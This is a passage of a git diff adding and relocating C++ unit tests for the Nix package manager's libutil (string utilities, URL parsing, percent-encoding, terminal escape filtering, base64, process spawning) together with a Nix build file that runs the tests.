ASSERT_STREQ("empty", setting_value.c_str()); +} + +TEST_F(nix_api_util_context, nix_setting_set) +{ + nix_err result = nix_setting_set(ctx, "invalid-key", "new-value"); + ASSERT_EQ(result, NIX_ERR_KEY); + + result = nix_setting_set(ctx, "setting-name", "new-value"); + ASSERT_EQ(result, NIX_OK); + + std::string setting_value; + result = nix_setting_get(ctx, "setting-name", OBSERVE_STRING(setting_value)); + ASSERT_EQ(result, NIX_OK); + ASSERT_STREQ("new-value", setting_value.c_str()); +} + +TEST_F(nix_api_util_context, nix_err_msg) +{ + // no error + EXPECT_THROW(nix_err_msg(nullptr, ctx, NULL), nix::Error); + + // set error + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); + + // basic usage + std::string err_msg = nix_err_msg(NULL, ctx, NULL); + ASSERT_EQ(err_msg, "unknown test error"); + + // advanced usage + unsigned int sz; + err_msg = nix_err_msg(nix_c_context_create(), ctx, &sz); + ASSERT_EQ(sz, err_msg.size()); +} + +TEST_F(nix_api_util_context, nix_err_info_msg) +{ + std::string err_info; + + // no error + EXPECT_THROW(nix_err_info_msg(NULL, ctx, OBSERVE_STRING(err_info)), nix::Error); + + try { + throw nix::Error("testing error"); + } catch (...) { + nix_context_error(ctx); + } + nix_err_info_msg(nix_c_context_create(), ctx, OBSERVE_STRING(err_info)); + ASSERT_STREQ("testing error", err_info.c_str()); +} + +TEST_F(nix_api_util_context, nix_err_name) +{ + std::string err_name; + + // no error + EXPECT_THROW(nix_err_name(NULL, ctx, OBSERVE_STRING(err_name)), nix::Error); + + std::string err_msg_ref; + try { + throw nix::Error("testing error"); + } catch (...) { + nix_context_error(ctx); + } + nix_err_name(nix_c_context_create(), ctx, OBSERVE_STRING(err_name)); + ASSERT_EQ(std::string(err_name), "nix::Error"); +} + +TEST_F(nix_api_util_context, nix_err_code) +{ + ASSERT_EQ(nix_err_code(ctx), NIX_OK); + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); + ASSERT_EQ(nix_err_code(ctx), NIX_ERR_UNKNOWN); +} + +} diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix new file mode 100644 index 000000000..2fce5bfa8 --- /dev/null +++ b/tests/unit/libutil/package.nix @@ -0,0 +1,97 @@ +{ lib +, buildPackages +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-util-c +, nix-util-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-util-tests"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-util + nix-util-c + nix-util-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' + export _NIX_TEST_UNIT_DATA=${./data} + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} + touch $out + ''); + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; + }; + +}) diff --git a/src/libutil/tests/pool.cc b/tests/unit/libutil/pool.cc similarity index 100% rename from src/libutil/tests/pool.cc rename to tests/unit/libutil/pool.cc diff --git a/tests/unit/libutil/position.cc b/tests/unit/libutil/position.cc new file mode 100644 index 000000000..484ecc247 --- /dev/null +++ b/tests/unit/libutil/position.cc @@ -0,0 +1,122 @@ +#include + +#include "position.hh" + +namespace nix { + +inline Pos::Origin makeStdin(std::string s) +{ + return Pos::Stdin{make_ref(s)}; +} + +TEST(Position, getSnippetUpTo_0) +{ + Pos::Origin o = makeStdin(""); + Pos p(1, 1, o); + ASSERT_EQ(p.getSnippetUpTo(p), ""); +} +TEST(Position, getSnippetUpTo_1) +{ + Pos::Origin o = makeStdin("x"); + { + // NOTE: line and column are actually 1-based indexes + Pos start(0, 0, o); + Pos end(99, 99, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "x"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), std::nullopt); + } + { + // NOTE: line and column are actually 1-based indexes + Pos start(0, 99, o); + Pos end(99, 0, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + + // "x" might be preferable, but we only care about not crashing for invalid inputs + ASSERT_EQ(start.getSnippetUpTo(end), ""); + + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), std::nullopt); + } + { + Pos start(1, 1, o); + Pos end(1, 99, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "x"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } + { + Pos start(1, 1, o); + Pos end(99, 99, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "x"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), std::nullopt); + } +} +TEST(Position, getSnippetUpTo_2) +{ + Pos::Origin o = makeStdin("asdf\njkl\nqwer"); + { + Pos start(1, 1, o); + Pos end(1, 2, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "a"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + + // nullopt? I feel like changing the column handling would just make it more fragile + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } + { + Pos start(1, 2, o); + Pos end(1, 3, o); + ASSERT_EQ(start.getSnippetUpTo(end), "s"); + } + { + Pos start(1, 2, o); + Pos end(2, 2, o); + ASSERT_EQ(start.getSnippetUpTo(end), "sdf\nj"); + } + { + Pos start(1, 2, o); + Pos end(3, 2, o); + ASSERT_EQ(start.getSnippetUpTo(end), "sdf\njkl\nq"); + } + { + Pos start(1, 2, o); + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "sdf\njkl"); + } + { + Pos start(1, 4, o); + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "f\njkl"); + } + { + Pos start(1, 5, o); + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "\njkl"); + } + { + Pos start(1, 6, o); // invalid: starting column past last "line character", ie at the newline + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "\njkl"); // jkl might be acceptable for this invalid start position + } + { + Pos start(1, 1, o); + Pos end(2, 0, o); // invalid + ASSERT_EQ(start.getSnippetUpTo(end), "asdf\n"); + } +} + +TEST(Position, example_1) +{ + Pos::Origin o = makeStdin(" unambiguous = \n /** Very close */\n x: x;\n# ok\n"); + Pos start(2, 5, o); + Pos end(2, 22, o); + ASSERT_EQ(start.getSnippetUpTo(end), "/** Very close */"); +} + +} // namespace nix diff --git a/tests/unit/libutil/processes.cc b/tests/unit/libutil/processes.cc new file mode 100644 index 000000000..9033595e8 --- /dev/null +++ b/tests/unit/libutil/processes.cc @@ -0,0 +1,17 @@ +#include "processes.hh" + +#include + +namespace nix { + +/* ---------------------------------------------------------------------------- + * statusOk + * --------------------------------------------------------------------------*/ + +TEST(statusOk, zeroIsOk) +{ + ASSERT_EQ(statusOk(0), true); + ASSERT_EQ(statusOk(1), false); +} + +} // namespace nix diff --git a/tests/unit/libutil/references.cc b/tests/unit/libutil/references.cc new file mode 100644 index 000000000..c3efa6d51 --- /dev/null +++ b/tests/unit/libutil/references.cc @@ -0,0 +1,46 @@ +#include "references.hh" +#include + +namespace nix { + +using std::string; + +struct RewriteParams { + string originalString, finalString; + StringMap rewrites; + + friend std::ostream& operator<<(std::ostream& os, const RewriteParams& bar) { + StringSet strRewrites; + for (auto & [from, to] : bar.rewrites) + strRewrites.insert(from + "->" + to); + return os << + "OriginalString: " << bar.originalString << std::endl << + "Rewrites: " << dropEmptyInitThenConcatStringsSep(",", strRewrites) << std::endl << + "Expected result: " << bar.finalString; + } +}; + +class RewriteTest : public ::testing::TestWithParam { +}; + +TEST_P(RewriteTest, IdentityRewriteIsIdentity) { + RewriteParams param = GetParam(); + StringSink rewritten; + auto rewriter = RewritingSink(param.rewrites, rewritten); + rewriter(param.originalString); + rewriter.flush(); + ASSERT_EQ(rewritten.s, param.finalString); +} + +INSTANTIATE_TEST_CASE_P( + references, + RewriteTest, + ::testing::Values( + RewriteParams{ "foooo", "baroo", {{"foo", "bar"}, {"bar", "baz"}}}, + RewriteParams{ "foooo", "bazoo", {{"fou", "bar"}, {"foo", "baz"}}}, + RewriteParams{ "foooo", "foooo", {}} + ) +); + +} + diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc new file mode 100644 index 000000000..c617acae0 --- /dev/null +++ b/tests/unit/libutil/spawn.cc @@ -0,0 +1,36 @@ +#include + +#include "processes.hh" + +namespace nix { + +#ifdef _WIN32 +TEST(SpawnTest, spawnEcho) +{ + auto output = runProgram(RunOptions{.program = "cmd.exe", .args = {"/C", "echo", "hello world"}}); + ASSERT_EQ(output.first, 0); + ASSERT_EQ(output.second, "\"hello world\"\r\n"); +} + +std::string windowsEscape(const std::string & str, bool cmd); + +TEST(SpawnTest, windowsEscape) +{ + auto empty = windowsEscape("", false); + ASSERT_EQ(empty, R"("")"); + // There's no quotes in this argument so the input should equal the output + auto backslashStr = R"(\\\\)"; + auto backslashes = windowsEscape(backslashStr, false); + ASSERT_EQ(backslashes, backslashStr); + + auto nestedQuotes = windowsEscape(R"(he said: "hello there")", false); + ASSERT_EQ(nestedQuotes, R"("he said: \"hello there\"")"); + + auto middleQuote = windowsEscape(R"( \\\" )", false); + ASSERT_EQ(middleQuote, R"(" \\\\\\\" ")"); + + auto space = windowsEscape("hello world", false); + ASSERT_EQ(space, R"("hello world")"); +} +#endif +} diff --git a/tests/unit/libutil/strings.cc b/tests/unit/libutil/strings.cc new file mode 100644 index 000000000..8ceb16767 --- /dev/null +++ b/tests/unit/libutil/strings.cc @@ -0,0 +1,348 @@ +#include +#include + +#include "strings.hh" + +namespace nix { + +using Strings = std::vector; + +/* ---------------------------------------------------------------------------- + * concatStringsSep + * --------------------------------------------------------------------------*/ + +TEST(concatStringsSep, empty) +{ + Strings strings; + + ASSERT_EQ(concatStringsSep(",", strings), ""); +} + +TEST(concatStringsSep, justOne) +{ + Strings strings; + strings.push_back("this"); + + ASSERT_EQ(concatStringsSep(",", strings), "this"); +} + +TEST(concatStringsSep, emptyString) +{ + Strings strings; + strings.push_back(""); + + ASSERT_EQ(concatStringsSep(",", strings), ""); +} + +TEST(concatStringsSep, emptyStrings) +{ + Strings strings; + strings.push_back(""); + strings.push_back(""); + + ASSERT_EQ(concatStringsSep(",", strings), ","); +} + +TEST(concatStringsSep, threeEmptyStrings) +{ + Strings strings; + strings.push_back(""); + strings.push_back(""); + strings.push_back(""); + + ASSERT_EQ(concatStringsSep(",", strings), ",,"); +} + +TEST(concatStringsSep, buildCommaSeparatedString) +{ + Strings strings; + strings.push_back("this"); + strings.push_back("is"); + strings.push_back("great"); + + ASSERT_EQ(concatStringsSep(",", strings), "this,is,great"); +} + +TEST(concatStringsSep, buildStringWithEmptySeparator) +{ + Strings strings; + strings.push_back("this"); + strings.push_back("is"); + strings.push_back("great"); + + ASSERT_EQ(concatStringsSep("", strings), "thisisgreat"); +} + +TEST(concatStringsSep, buildSingleString) +{ + Strings strings; + strings.push_back("this"); + + ASSERT_EQ(concatStringsSep(",", strings), "this"); +} + +/* ---------------------------------------------------------------------------- + * dropEmptyInitThenConcatStringsSep + * --------------------------------------------------------------------------*/ + +TEST(dropEmptyInitThenConcatStringsSep, empty) +{ + Strings strings; + + ASSERT_EQ(dropEmptyInitThenConcatStringsSep(",", strings), ""); +} + +TEST(dropEmptyInitThenConcatStringsSep, buildCommaSeparatedString) +{ + Strings strings; + strings.push_back("this"); + strings.push_back("is"); + strings.push_back("great"); + + ASSERT_EQ(dropEmptyInitThenConcatStringsSep(",", strings), "this,is,great"); +} + +TEST(dropEmptyInitThenConcatStringsSep, buildStringWithEmptySeparator) +{ + Strings strings; + strings.push_back("this"); + strings.push_back("is"); + strings.push_back("great"); + + ASSERT_EQ(dropEmptyInitThenConcatStringsSep("", strings), "thisisgreat"); +} + +TEST(dropEmptyInitThenConcatStringsSep, buildSingleString) +{ + Strings strings; + strings.push_back("this"); + strings.push_back(""); + + ASSERT_EQ(dropEmptyInitThenConcatStringsSep(",", strings), "this,"); +} + +TEST(dropEmptyInitThenConcatStringsSep, emptyStrings) +{ + Strings strings; + strings.push_back(""); + strings.push_back(""); + + ASSERT_EQ(dropEmptyInitThenConcatStringsSep(",", strings), ""); +} + +/* ---------------------------------------------------------------------------- + * tokenizeString + * --------------------------------------------------------------------------*/ + +TEST(tokenizeString, empty) +{ + Strings expected = {}; + + ASSERT_EQ(tokenizeString(""), expected); +} + +TEST(tokenizeString, oneSep) +{ + Strings expected = {}; + + ASSERT_EQ(tokenizeString(" "), expected); +} + +TEST(tokenizeString, twoSep) +{ + Strings expected = {}; + + ASSERT_EQ(tokenizeString(" \n"), expected); +} + +TEST(tokenizeString, tokenizeSpacesWithDefaults) +{ + auto s = "foo bar baz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s), expected); +} + +TEST(tokenizeString, tokenizeTabsWithDefaults) +{ + auto s = "foo\tbar\tbaz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s), expected); +} + +TEST(tokenizeString, tokenizeTabsSpacesWithDefaults) +{ + auto s = "foo\t bar\t baz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s), expected); +} + +TEST(tokenizeString, tokenizeTabsSpacesNewlineWithDefaults) +{ + auto s = "foo\t\n bar\t\n baz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s), expected); +} + +TEST(tokenizeString, tokenizeTabsSpacesNewlineRetWithDefaults) +{ + auto s = "foo\t\n\r bar\t\n\r baz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s), expected); + + auto s2 = "foo \t\n\r bar \t\n\r baz"; + Strings expected2 = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s2), expected2); +} + +TEST(tokenizeString, tokenizeWithCustomSep) +{ + auto s = "foo\n,bar\n,baz\n"; + Strings expected = {"foo\n", "bar\n", "baz\n"}; + + ASSERT_EQ(tokenizeString(s, ","), expected); +} + +TEST(tokenizeString, tokenizeSepAtStart) +{ + auto s = ",foo,bar,baz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s, ","), expected); +} + +TEST(tokenizeString, tokenizeSepAtEnd) +{ + auto s = "foo,bar,baz,"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(tokenizeString(s, ","), expected); +} + +TEST(tokenizeString, tokenizeSepEmpty) +{ + auto s = "foo,,baz"; + Strings expected = {"foo", "baz"}; + + ASSERT_EQ(tokenizeString(s, ","), expected); +} + +/* ---------------------------------------------------------------------------- + * splitString + * --------------------------------------------------------------------------*/ + +TEST(splitString, empty) +{ + Strings expected = {""}; + + ASSERT_EQ(splitString("", " \t\n\r"), expected); +} + +TEST(splitString, oneSep) +{ + Strings expected = {"", ""}; + + ASSERT_EQ(splitString(" ", " \t\n\r"), expected); +} + +TEST(splitString, twoSep) +{ + Strings expected = {"", "", ""}; + + ASSERT_EQ(splitString(" \n", " \t\n\r"), expected); +} + +TEST(splitString, tokenizeSpacesWithSpaces) +{ + auto s = "foo bar baz"; + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(splitString(s, " \t\n\r"), expected); +} + +TEST(splitString, tokenizeTabsWithDefaults) +{ + auto s = "foo\tbar\tbaz"; + // Using it like this is weird, but shows the difference with tokenizeString, which also has this test + Strings expected = {"foo", "bar", "baz"}; + + ASSERT_EQ(splitString(s, " \t\n\r"), expected); +} + +TEST(splitString, tokenizeTabsSpacesWithDefaults) +{ + auto s = "foo\t bar\t baz"; + // Using it like this is weird, but shows the difference with tokenizeString, which also has this test + Strings expected = {"foo", "", "bar", "", "baz"}; + + ASSERT_EQ(splitString(s, " \t\n\r"), expected); +} + +TEST(splitString, tokenizeTabsSpacesNewlineWithDefaults) +{ + auto s = "foo\t\n bar\t\n baz"; + // Using it like this is weird, but shows the difference with tokenizeString, which also has this test + Strings expected = {"foo", "", "", "bar", "", "", "baz"}; + + ASSERT_EQ(splitString(s, " \t\n\r"), expected); +} + +TEST(splitString, tokenizeTabsSpacesNewlineRetWithDefaults) +{ + auto s = "foo\t\n\r bar\t\n\r baz"; + // Using it like this is weird, but shows the difference with tokenizeString, which also has this test + Strings expected = {"foo", "", "", "", "bar", "", "", "", "baz"}; + + ASSERT_EQ(splitString(s, " \t\n\r"), expected); + + auto s2 = "foo \t\n\r bar \t\n\r baz"; + Strings expected2 = {"foo", "", "", "", "", "bar", "", "", "", "", "baz"}; + + ASSERT_EQ(splitString(s2, " \t\n\r"), expected2); +} + +TEST(splitString, tokenizeWithCustomSep) +{ + auto s = "foo\n,bar\n,baz\n"; + Strings expected = {"foo\n", "bar\n", "baz\n"}; + + ASSERT_EQ(splitString(s, ","), expected); +} + +TEST(splitString, tokenizeSepAtStart) +{ + auto s = ",foo,bar,baz"; + Strings expected = {"", "foo", "bar", "baz"}; + + ASSERT_EQ(splitString(s, ","), expected); +} + +TEST(splitString, tokenizeSepAtEnd) +{ + auto s = "foo,bar,baz,"; + Strings expected = {"foo", "bar", "baz", ""}; + + ASSERT_EQ(splitString(s, ","), expected); +} + +TEST(splitString, tokenizeSepEmpty) +{ + auto s = "foo,,baz"; + Strings expected = {"foo", "", "baz"}; + + ASSERT_EQ(splitString(s, ","), expected); +} + +// concatStringsSep sep . splitString sep = id if sep is 1 char +RC_GTEST_PROP(splitString, recoveredByConcatStringsSep, (const std::string & s)) +{ + RC_ASSERT(concatStringsSep("/", splitString(s, "/")) == s); + RC_ASSERT(concatStringsSep("a", splitString(s, "a")) == s); +} + +} // namespace nix diff --git a/src/libutil/tests/suggestions.cc b/tests/unit/libutil/suggestions.cc similarity index 100% rename from src/libutil/tests/suggestions.cc rename to tests/unit/libutil/suggestions.cc diff --git a/tests/unit/libutil/terminal.cc b/tests/unit/libutil/terminal.cc new file mode 100644 index 000000000..cdeb9fd94 --- /dev/null +++ b/tests/unit/libutil/terminal.cc @@ -0,0 +1,60 @@ +#include "util.hh" +#include "types.hh" +#include "terminal.hh" +#include "strings.hh" + +#include +#include + +#include + +namespace nix { + +/* ---------------------------------------------------------------------------- + * filterANSIEscapes + * --------------------------------------------------------------------------*/ + +TEST(filterANSIEscapes, emptyString) +{ + auto s = ""; + auto expected = ""; + + ASSERT_EQ(filterANSIEscapes(s), expected); +} + +TEST(filterANSIEscapes, doesntChangePrintableChars) +{ + auto s = "09 2q304ruyhr slk2-19024 kjsadh sar f"; + + ASSERT_EQ(filterANSIEscapes(s), s); +} + +TEST(filterANSIEscapes, filtersColorCodes) +{ + auto s = "\u001b[30m A \u001b[31m B \u001b[32m C \u001b[33m D \u001b[0m"; + + ASSERT_EQ(filterANSIEscapes(s, true, 2), " A"); + ASSERT_EQ(filterANSIEscapes(s, true, 3), " A "); + ASSERT_EQ(filterANSIEscapes(s, true, 4), " A "); + ASSERT_EQ(filterANSIEscapes(s, true, 5), " A B"); + ASSERT_EQ(filterANSIEscapes(s, true, 8), " A B C"); +} + +TEST(filterANSIEscapes, expandsTabs) +{ + auto s = "foo\tbar\tbaz"; + + ASSERT_EQ(filterANSIEscapes(s, true), "foo bar baz"); +} + +TEST(filterANSIEscapes, utf8) +{ + ASSERT_EQ(filterANSIEscapes("foobar", true, 5), "fooba"); + ASSERT_EQ(filterANSIEscapes("fóóbär", true, 6), "fóóbär"); + ASSERT_EQ(filterANSIEscapes("fóóbär", true, 5), "fóóbä"); + ASSERT_EQ(filterANSIEscapes("fóóbär", true, 3), "fóó"); + ASSERT_EQ(filterANSIEscapes("f€€bär", true, 4), "f€€b"); + ASSERT_EQ(filterANSIEscapes("f𐍈𐍈bär", true, 4), "f𐍈𐍈b"); +} + +} // namespace nix diff --git a/src/libutil/tests/url.cc b/tests/unit/libutil/url.cc similarity index 75% rename from src/libutil/tests/url.cc rename to tests/unit/libutil/url.cc index c3b233797..7d08f467e 100644 --- a/src/libutil/tests/url.cc +++ b/tests/unit/libutil/url.cc @@ -99,6 +99,27 @@ namespace nix { ASSERT_EQ(parsed, expected); } + TEST(parseURL, parsesFilePlusHttpsUrl) { + auto s = "file+https://www.example.org/video.mp4"; + auto parsed = parseURL(s); + + ParsedURL expected { + .url = "file+https://www.example.org/video.mp4", + .base = "https://www.example.org/video.mp4", + .scheme = "file+https", + .authority = "www.example.org", + .path = "/video.mp4", + .query = (StringMap) { }, + .fragment = "", + }; + + ASSERT_EQ(parsed, expected); + } + + TEST(parseURL, rejectsAuthorityInUrlsWithFileTransportation) { + auto s = "file://www.example.org/video.mp4"; + ASSERT_THROW(parseURL(s), Error); + } TEST(parseURL, parseIPv4Address) { auto s = "http://127.0.0.1:8080/file.tar.gz?download=fast&when=now#hello"; @@ -281,4 +302,69 @@ namespace nix { ASSERT_EQ(d, s); } + + /* ---------------------------------------------------------------------------- + * percentEncode + * --------------------------------------------------------------------------*/ + + TEST(percentEncode, encodesUrlEncodedString) { + std::string s = percentEncode("==@=="); + std::string d = "%3D%3D%40%3D%3D"; + ASSERT_EQ(d, s); + } + + TEST(percentEncode, keepArgument) { + std::string a = percentEncode("abd / def"); + std::string b = percentEncode("abd / def", "/"); + ASSERT_EQ(a, "abd%20%2F%20def"); + ASSERT_EQ(b, "abd%20/%20def"); + } + + TEST(percentEncode, inverseOfDecode) { + std::string original = "%3D%3D%40%3D%3D"; + std::string once = percentEncode(original); + std::string back = percentDecode(once); + + ASSERT_EQ(back, original); + } + + TEST(percentEncode, trailingPercent) { + std::string s = percentEncode("==@==%"); + std::string d = "%3D%3D%40%3D%3D%25"; + + ASSERT_EQ(d, s); + } + + TEST(percentEncode, yen) { + // https://en.wikipedia.org/wiki/Percent-encoding#Character_data + std::string s = reinterpret_cast(u8"円"); + std::string e = "%E5%86%86"; + + ASSERT_EQ(percentEncode(s), e); + ASSERT_EQ(percentDecode(e), s); + } + +TEST(nix, isValidSchemeName) { + ASSERT_TRUE(isValidSchemeName("http")); + ASSERT_TRUE(isValidSchemeName("https")); + ASSERT_TRUE(isValidSchemeName("file")); + ASSERT_TRUE(isValidSchemeName("file+https")); + ASSERT_TRUE(isValidSchemeName("fi.le")); + ASSERT_TRUE(isValidSchemeName("file-ssh")); + ASSERT_TRUE(isValidSchemeName("file+")); + ASSERT_TRUE(isValidSchemeName("file.")); + ASSERT_TRUE(isValidSchemeName("file1")); + ASSERT_FALSE(isValidSchemeName("file:")); + ASSERT_FALSE(isValidSchemeName("file/")); + ASSERT_FALSE(isValidSchemeName("+file")); + ASSERT_FALSE(isValidSchemeName(".file")); + ASSERT_FALSE(isValidSchemeName("-file")); + ASSERT_FALSE(isValidSchemeName("1file")); + // regex ok? + ASSERT_FALSE(isValidSchemeName("\nhttp")); + ASSERT_FALSE(isValidSchemeName("\nhttp\n")); + ASSERT_FALSE(isValidSchemeName("http\n")); + ASSERT_FALSE(isValidSchemeName("http ")); +} + } diff --git a/tests/unit/libutil/util.cc b/tests/unit/libutil/util.cc new file mode 100644 index 000000000..a3f7c720a --- /dev/null +++ b/tests/unit/libutil/util.cc @@ -0,0 +1,385 @@ +#include "util.hh" +#include "types.hh" +#include "file-system.hh" +#include "terminal.hh" +#include "strings.hh" + +#include +#include + +#include + +namespace nix { + +/* ----------- tests for util.hh --------------------------------------------*/ + +/* ---------------------------------------------------------------------------- + * hasPrefix + * --------------------------------------------------------------------------*/ + +TEST(hasPrefix, emptyStringHasNoPrefix) +{ + ASSERT_FALSE(hasPrefix("", "foo")); +} + +TEST(hasPrefix, emptyStringIsAlwaysPrefix) +{ + ASSERT_TRUE(hasPrefix("foo", "")); + ASSERT_TRUE(hasPrefix("jshjkfhsadf", "")); +} + +TEST(hasPrefix, trivialCase) +{ + ASSERT_TRUE(hasPrefix("foobar", "foo")); +} + +/* ---------------------------------------------------------------------------- + * hasSuffix + * --------------------------------------------------------------------------*/ + +TEST(hasSuffix, emptyStringHasNoSuffix) +{ + ASSERT_FALSE(hasSuffix("", "foo")); +} + +TEST(hasSuffix, trivialCase) +{ + ASSERT_TRUE(hasSuffix("foo", "foo")); + ASSERT_TRUE(hasSuffix("foobar", "bar")); +} + +/* ---------------------------------------------------------------------------- + * base64Encode + * --------------------------------------------------------------------------*/ + +TEST(base64Encode, emptyString) +{ + ASSERT_EQ(base64Encode(""), ""); +} + +TEST(base64Encode, encodesAString) +{ + ASSERT_EQ(base64Encode("quod erat demonstrandum"), "cXVvZCBlcmF0IGRlbW9uc3RyYW5kdW0="); +} + +TEST(base64Encode, encodeAndDecode) +{ + auto s = "quod erat demonstrandum"; + auto encoded = base64Encode(s); + auto decoded = base64Decode(encoded); + + ASSERT_EQ(decoded, s); +} + +TEST(base64Encode, encodeAndDecodeNonPrintable) +{ + char s[256]; + std::iota(std::rbegin(s), std::rend(s), 0); + + auto encoded = base64Encode(s); + auto decoded = base64Decode(encoded); + + EXPECT_EQ(decoded.length(), 255); + ASSERT_EQ(decoded, s); +} + +/* ---------------------------------------------------------------------------- + * base64Decode + * --------------------------------------------------------------------------*/ + +TEST(base64Decode, emptyString) +{ + ASSERT_EQ(base64Decode(""), ""); +} + +TEST(base64Decode, decodeAString) +{ + ASSERT_EQ(base64Decode("cXVvZCBlcmF0IGRlbW9uc3RyYW5kdW0="), "quod erat demonstrandum"); +} + +TEST(base64Decode, decodeThrowsOnInvalidChar) +{ + ASSERT_THROW(base64Decode("cXVvZCBlcm_0IGRlbW9uc3RyYW5kdW0="), Error); +} + +/* ---------------------------------------------------------------------------- + * getLine + * --------------------------------------------------------------------------*/ + +TEST(getLine, all) +{ + { + auto [line, rest] = getLine("foo\nbar\nxyzzy"); + ASSERT_EQ(line, "foo"); + ASSERT_EQ(rest, "bar\nxyzzy"); + } + + { + auto [line, rest] = getLine("foo\r\nbar\r\nxyzzy"); + ASSERT_EQ(line, "foo"); + ASSERT_EQ(rest, "bar\r\nxyzzy"); + } + + { + auto [line, rest] = getLine("foo\n"); + ASSERT_EQ(line, "foo"); + ASSERT_EQ(rest, ""); + } + + { + auto [line, rest] = getLine("foo"); + ASSERT_EQ(line, "foo"); + ASSERT_EQ(rest, ""); + } + + { + auto [line, rest] = getLine(""); + ASSERT_EQ(line, ""); + ASSERT_EQ(rest, ""); + } +} + +/* ---------------------------------------------------------------------------- + * toLower + * --------------------------------------------------------------------------*/ + +TEST(toLower, emptyString) +{ + ASSERT_EQ(toLower(""), ""); +} + +TEST(toLower, nonLetters) +{ + auto s = "!@(*$#)(@#=\\234_"; + ASSERT_EQ(toLower(s), s); +} + +// std::tolower() doesn't handle unicode characters. In the context of +// store paths this isn't relevant but doesn't hurt to record this behavior +// here. +TEST(toLower, umlauts) +{ + auto s = "ÄÖÜ"; + ASSERT_EQ(toLower(s), "ÄÖÜ"); +} + +/* ---------------------------------------------------------------------------- + * string2Float + * --------------------------------------------------------------------------*/ + +TEST(string2Float, emptyString) +{ + ASSERT_EQ(string2Float(""), std::nullopt); +} + +TEST(string2Float, trivialConversions) +{ + ASSERT_EQ(string2Float("1.0"), 1.0); + + ASSERT_EQ(string2Float("0.0"), 0.0); + + ASSERT_EQ(string2Float("-100.25"), -100.25); +} + +/* ---------------------------------------------------------------------------- + * string2Int + * --------------------------------------------------------------------------*/ + +TEST(string2Int, emptyString) +{ + ASSERT_EQ(string2Int(""), std::nullopt); +} + +TEST(string2Int, trivialConversions) +{ + ASSERT_EQ(string2Int("1"), 1); + + ASSERT_EQ(string2Int("0"), 0); + + ASSERT_EQ(string2Int("-100"), -100); +} + +/* ---------------------------------------------------------------------------- + * renderSize + * --------------------------------------------------------------------------*/ + +TEST(renderSize, misc) +{ + ASSERT_EQ(renderSize(0, true), " 0.0 KiB"); + ASSERT_EQ(renderSize(100, true), " 0.1 KiB"); + ASSERT_EQ(renderSize(100), "0.1 KiB"); + ASSERT_EQ(renderSize(972, true), " 0.9 KiB"); + ASSERT_EQ(renderSize(973, true), " 1.0 KiB"); // FIXME: should round down + ASSERT_EQ(renderSize(1024, true), " 1.0 KiB"); + ASSERT_EQ(renderSize(1024 * 1024, true), "1024.0 KiB"); + ASSERT_EQ(renderSize(1100 * 1024, true), " 1.1 MiB"); + ASSERT_EQ(renderSize(2ULL * 1024 * 1024 * 1024, true), " 